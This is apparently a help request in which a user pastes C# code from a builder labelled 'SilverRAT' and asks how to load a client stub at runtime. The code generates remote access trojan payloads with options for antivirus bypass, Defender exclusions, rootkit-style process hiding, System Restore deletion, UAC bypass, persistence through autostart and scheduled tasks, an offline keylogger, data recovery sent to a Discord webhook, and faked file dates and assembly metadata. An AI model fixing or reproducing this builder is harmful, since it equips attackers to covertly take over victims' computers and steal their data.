i have a file called stub.cs which is a client file and it gets all the user values from this code now i want to use the stub.cs at the runtime by providing a path in  :- if (string.IsNullOrEmpty(Settings.Value))
{
				
}

this is my complete code help me fix the issue :- 	private void Build_Click(object sender, EventArgs e)
	{
		try
		{
			if (string.IsNullOrEmpty(BuilderKey.Text))
			{
				Notifiecation.Show("Builder!", "Please enter Connection Password", Resources.Alert, Color.FromArgb(248, 189, 9));
				return;
			}
			if (string.IsNullOrEmpty(BuilderHost.Text))
			{
				Notifiecation.Show("Builder!", "Please enter your DNS or IP", Resources.Alert, Color.FromArgb(248, 189, 9));
				return;
			}
			if (string.IsNullOrEmpty(BuilderPort.Text))
			{
				Notifiecation.Show("Builder!", "Please enter your Port", Resources.Alert, Color.FromArgb(248, 189, 9));
				return;
			}
			if (BuilderInstallation.Checked)
			{
				if (string.IsNullOrEmpty(BuilderProcessName.Text))
				{
					Notifiecation.Show("Builder!", "Please enter your Process name", Resources.Alert, Color.FromArgb(248, 189, 9));
					return;
				}
				if (string.IsNullOrEmpty(Foldername.Text))
				{
					Notifiecation.Show("Builder!", "Please enter your Folder name", Resources.Alert, Color.FromArgb(248, 189, 9));
					return;
				}
			}
			if (EnabledDiscord.Checked && string.IsNullOrEmpty(bunifuTextBox_0.Text))
			{
				Notifiecation.Show("Builder!", "Please enter your WebHooks {URL} - Discord", Resources.Alert, Color.FromArgb(248, 189, 9));
				return;
			}
			StupSetup = Methods.GetRandomString(15);
			StupProgram = Methods.GetRandomString(16);
			StupMain = Methods.GetRandomString(17);
			if (BaypassAV.Checked)
			{
				if (!File.Exists(OutputDll))
				{
					Directory.CreateDirectory(OutputDll);
				}
				OutputDll = OutputDll + "\\" + Methods.GetRandomString(15);
			}
			SaveFileDialog saveFileDialog = new SaveFileDialog
			{
				Filter = GetExctenstion(),
				InitialDirectory = Application.StartupPath,
				FileName = Payloadname.Text
			};
			if (saveFileDialog.ShowDialog() != DialogResult.OK)
			{
				return;
			}
			try
			{
				OutputPayload = saveFileDialog.FileName;
				Build.Enabled = false;
				Build.Text = "Please wait...";
				Dictionary<string, string> providerOptions = new Dictionary<string, string> { { "CompilerVersion", "v4.0" } };
				CSharpCodeProvider cSharpCodeProvider = new CSharpCodeProvider(providerOptions);
				CompilerParameters compilerParameters = new CompilerParameters();
				string text = " /target:winexe /platform:x64 /optimize ";
				if (!string.IsNullOrEmpty(BuilderIconPath))
				{
					text = text + " /win32icon:\"" + BuilderIconPath + "\"";
				}
				compilerParameters.ReferencedAssemblies.Add("System.dll");
				compilerParameters.ReferencedAssemblies.Add("System.Windows.Forms.dll");
				compilerParameters.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
				if (DeleteSystemRestore.Checked)
				{
					compilerParameters.ReferencedAssemblies.Add("System.Management.dll");
				}
				compilerParameters.GenerateExecutable = true;
				compilerParameters.OutputAssembly = (BaypassAV.Checked ? OutputDll : OutputPayload);
				compilerParameters.CompilerOptions = ((EXE.Checked || SCR.Checked) ? text : null);
				compilerParameters.IncludeDebugInformation = false;
				if (string.IsNullOrEmpty(Settings.Value))
				{
					
				}
				StringBuilder stringb = new StringBuilder(Settings.Value);
				ReplaceGlobals(ref stringb);
				CompilerResults compilerResults = cSharpCodeProvider.CompileAssemblyFromSource(compilerParameters, stringb.ToString());
				if (compilerResults.Errors.Count > 0)
				{
					foreach (CompilerError error in compilerResults.Errors)
					{
						Notifiecation.Show("Builder!", error.ToString(), Resources.ErrorNotif, Color.FromArgb(204, 102, 90));
					}
					Build.Enabled = true;
					Build.Text = "Build";
					MesgBuilder(Value: false, "Failed!\n Message : An unexpected error occurred! Try again");
					return;
				}
				if (BaypassAV.Checked)
				{
					if (CompilerAV())
					{
						MesgBuilder(Value: true, "Built successfully\nPath : " + OutputPayload + "\nSize : " + Methods.BytesToString(File.ReadAllBytes(OutputPayload).Length));
					}
					else
					{
						MesgBuilder(Value: false, "Failed!\n Message : An unexpected error occurred! Try again");
					}
					return;
				}
				if (!BaypassAV.Checked && BuilderDatemodified.Checked)
				{
					File.SetCreationTime(OutputPayload, bunifuDatePicker1.Value);
				}
				File.SetLastWriteTime(OutputPayload, bunifuDatePicker1.Value);
				File.SetLastAccessTime(OutputPayload, bunifuDatePicker1.Value);
				if (SaveSettings.Checked)
				{
					SaveProfilBuilder();
				}
				MesgBuilder(Value: true, "Built successfully\nPath : " + compilerResults.PathToAssembly + "\nSize : " + Methods.BytesToString(File.ReadAllBytes(compilerResults.PathToAssembly).Length));
			}
			catch
			{
				
			}
		}
		catch
		{
			
		}
	}

	public void ReplaceGlobals(ref StringBuilder stringb)
	{
		try
		{
			if (!Methods.InternetState())
			{
				MessageBox.Show(this, "Please check internet connection!", "SilverRAT | Builder!", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
				return;
			}
            Settings.ServerCertificate = new X509Certificate2(Settings.CertificatePath);
            string text = BuilderKey.Text;
			new Aes256(text);
		
			byte[] inArray;
			using (RSACryptoServiceProvider rSACryptoServiceProvider = (RSACryptoServiceProvider)Settings.ServerCertificate.PrivateKey)
			{
				byte[] rgbHash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(text));
				inArray = rSACryptoServiceProvider.SignHash(rgbHash, CryptoConfig.MapNameToOID("SHA256"));
			}
			if (BaypassAV.Checked)
			{
				stringb.Replace("BypassAV", "true");
				stringb.Replace("%Invoki%", StupMain);
			}
			stringb.Replace("%Setup%", StupSetup);
			stringb.Replace("%Program%", StupProgram);
			stringb.Replace("%Key%", Convert.ToBase64String(Encoding.UTF8.GetBytes(text)));
			stringb.Replace("%Serversignature%", Convert.ToBase64String(inArray));
		
			stringb.Replace("%Group%", BuilderGroup.Text);
			stringb.Replace("%Mtx%", BuilderProcessMutex.Text);
			
			if (HostDefault.Checked)
			{
				stringb.Replace("%Hosts%", Encrypt.EncryptTxt(BuilderHost.Text, "0x49,0x76,0x61,10,0x20,0x4D,0x65,100,0x76,0x65,100,0x65,0x76"));
				stringb.Replace("%Ports%", Encrypt.EncryptTxt(BuilderPort.Text, "0x49,0x76,0x61,10,0x20,0x4D,0x65,100,0x76,0x65,100,0x65,0x76"));
				stringb.Replace("DNSNormal", "true");
			}
			else
			{
				stringb.Replace("PastebinDNS", "true").Replace("%URLPastebin%", BuilderHost.Text);
				stringb.Replace("%Hosts%", "******");
				stringb.Replace("%Ports%", "******");
			}
			if (BuilderDelay.Checked)
			{
				stringb.Replace("Executiondelay", "true").Replace("%DelayCount%", BuilderExcutionDelay.Text);
			}
			if (BuilderDelayConnect.Checked)
			{
				stringb.Replace("%ReconnectDelay%", BuilderReconnectDelay.Text);
			}
			else
			{
				stringb.Replace("%ReconnectDelay%", BuilderReconnectDelay.Text);
			}
			if (BuilderInstallation.Checked)
			{
				string text2 = ((!HiddenProcess.Checked) ? "" : "$77");
				stringb.Replace("AddInstalla", "true").Replace("%Method%", GetInstallationMethod()).Replace("%Folder%", Foldername.Text)
					.Replace("%Payload%", text2 + BuilderProcessName.Text + BuilderGetExctenstion());
				stringb.Replace("%IStateInstallD%", "true");
				if (BuilderBloackAccessPath.Checked)
				{
					stringb.Replace("DefAddFolderSecurity", "true");
				}
				if (BuilderHiddenInstall.Checked)
				{
					stringb.Replace("DefHidden", "true");
				}
				if (AutoStartup.Checked)
				{
					stringb.Replace("DefAutoStart", "true");
				}
				if (HiddenProcess.Checked)
				{
					stringb.Replace("Rootikt", "true");
				}
			}
			else
			{
				stringb.Replace("%IStateInstallD%", "false");
			}
			if (DeleteSystemRestore.Checked)
			{
				stringb.Replace("DefDeleteSystemRestore", "true");
			}
			if (BuilderCreateTask.Checked)
			{
				stringb.Replace("DefCreateTask", "true").Replace("%Commaent%", GetDownDropTask().Replace("%Mytask%", BuilderProcessName.Text + "_Task"));
			}
			if (bunifuCheckBox_0.Checked)
			{
				stringb.Replace("DefUAC", "true");
			}
			if (BuilderDefender.Checked)
			{
				stringb.Replace("DefDefenderException", "true");
			}
			if (keyloggerOfflien.Checked)
			{
				stringb.Replace("KeyloaggrOfflien", "true");
			}
			if (EnabledDiscord.Checked)
			{
				stringb.Replace("IsDiscordNotif", "true");
				stringb.Replace("%HeyMesg%", Logger.auth_sample.user_data.username);
				stringb.Replace("%ServerDiscord%", Encrypt.EncryptTxt(bunifuTextBox_0.Text, "0x49,0x76,0x61,10,0x20,0x4D,0x65,100,0x76,0x65,100,0x65,0x76"));
		
				if (EnabledRecoveryData.Checked)
				{
					stringb.Replace("IsRecoveryData", "true");
				
				}
			}
			if (HiddenProcess.Checked || !HostDefault.Checked || EnabledRecoveryData.Checked)
			{
				stringb.Replace("IsInternetState", "true");
			}
			if (BuilderAssemblyinformation.Checked)
			{
				stringb.Replace("DefAssembly", "true");
				stringb.Replace("%Title%", BuilderTitleAssembly.Text);
				stringb.Replace("%Description%", BuilderDescriptionsAssembly.Text);
				stringb.Replace("%Company%", BuilderCompanyAssembly.Text);
				stringb.Replace("%Product%", BuilderCompanyAssembly.Text);
				stringb.Replace("%Copyright%", BuilderCopyrightAssembly.Text);
				stringb.Replace("%Trademark%", BuilderTrademarksAssembly.Text);
				stringb.Replace("%v1%", Vr1.Text);
				stringb.Replace("%v2%", Vr2.Text);
				stringb.Replace("%v3%", Vr3.Text);
				stringb.Replace("%v4%", Vr4.Text);
			}
		}
		catch
		{
		}
	}